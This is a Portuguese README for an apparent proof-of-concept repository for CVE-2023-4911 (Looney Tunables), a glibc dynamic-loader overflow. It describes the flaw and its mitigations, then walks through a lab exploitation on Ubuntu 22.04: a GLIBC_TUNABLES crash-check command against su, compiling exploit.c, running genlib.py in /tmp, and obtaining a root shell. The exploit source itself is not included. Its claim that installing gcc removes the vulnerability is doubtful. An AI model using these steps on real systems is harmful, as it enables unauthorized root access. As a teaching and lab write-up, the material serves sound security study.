
Repositório contendo uma Prova de Conceito (PoC) demonstrando o impacto do CVE-2023-4911, uma vulnerabilidade no carregador dinâmico ld.so do glibc, expondo riscos relacionados ao Looney Tunables.
A GNU C Library (glibc) serve como a biblioteca C no sistema GNU e é essencial para sistemas baseados em Linux. Em seu núcleo, a glibc define funcionalidades essenciais para programas, incluindo chamadas de sistema e funções comuns como open, malloc, printf e exit. O carregador dinâmico, um componente vital da glibc, desempenha um papel fundamental na preparação e execução de programas, gerenciando bibliotecas compartilhadas e vinculando-as em tempo de execução.
Introduzida para capacitar os usuários sem necessidade de recompilação, a variável de ambiente GLIBC_TUNABLES permite que os usuários modifiquem o comportamento da glibc em tempo de execução. Ela fornece um meio de ajustar parâmetros de desempenho e comportamento, afetando a inicialização de aplicativos.
Uma vulnerabilidade de estouro de buffer no processamento de GLIBC_TUNABLES pelo carregador dinâmico representa um risco crítico de segurança. A exploração concede a atacantes locais privilégios elevados, potencialmente levando ao acesso total como root. A exploração bem-sucedida em grandes distribuições como Fedora, Ubuntu e Debian ressalta a gravidade e o impacto generalizado.
O uso indevido ou a exploração desta vulnerabilidade pode afetar o desempenho, a confiabilidade e a segurança do sistema. Embora os detalhes do exploit sejam omitidos, o risco é iminente, pois estouros de buffer podem rapidamente se transformar em ataques apenas de dados. Distribuições Linux populares que usam glibc podem ser suscetíveis, enfatizando a necessidade de conscientização e mitigação imediatas.
Atribuído: 3 de outubro de 2023
Tipo: Escalação Local de Privilégios
Versões Afetadas: glibc 2.34 e posteriores
Distribuições: RHEL, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo e outras que usam glibc Mitigação
Atualização: Aplique as atualizações da glibc prontamente.
Monitore: Mantenha-se informado sobre avisos de segurança.
Revise: Avalie o uso de GLIBC_TUNABLES em aplicações.
Audite: Examine os logs do sistema em busca de atividades suspeitas.
Ubuntu 22.04 Ubuntu GLIBC 2.35-0ubuntu3.1 su do util-linux 2.37.2 ASLR ON
Usei a iso do Ubuntu (versão 22.04.1) para criar a máquina virtual
Após a instalação bem-sucedida, não precisamos atualizar nada, mas instalaremos o git e o pacote GNU Binutils, pois não são encontrados no sistema, e quando você compilar o script Python do exploit, enfrentará o erro.
Usando estes comandos:
$ sudo apt install git
$ sudo apt install binutils
Verifique se é vulnerável
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Se exibir
Segmentation fault (core dumped), então é vulnerável.

Verifique a versão do linker/loader dinâmico, frequentemente associado à GNU C Library (glibc)
$ ldd --version
A saída fornecerá a versão do GLIBC
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

Agora que sabemos que nossa máquina é vulnerável e está pronta para escalar os privilégios de root
Nota: Não devemos instalar gcc na máquina; se instalarmos, perderemos a vulnerabilidade, e portanto o script não funcionará.
Como não temos gcc instalado, precisamos compilar o programa C na máquina host e depois importá-lo para a máquina convidada.
Podemos compilar o programa C com este comando
$ gcc exploit.c -o (nomedasaida)
Após importar o arquivo de saída do programa C, importe também o script Python (genlib.py).
Agora compile o script Python
$ python3 genlib.py
Após a compilação, uma pasta '"' é criada.
Faremos isso na pasta /tmp para que o usuário possa executar o script e o programa
Agora, finalmente, executaremos o programa para escalar os privilégios de root
$ ./(nomedoprograma)
Levará algum tempo e será obtido o shell de root.

Segurança para Capacitar, Não para Explorar!
Referências: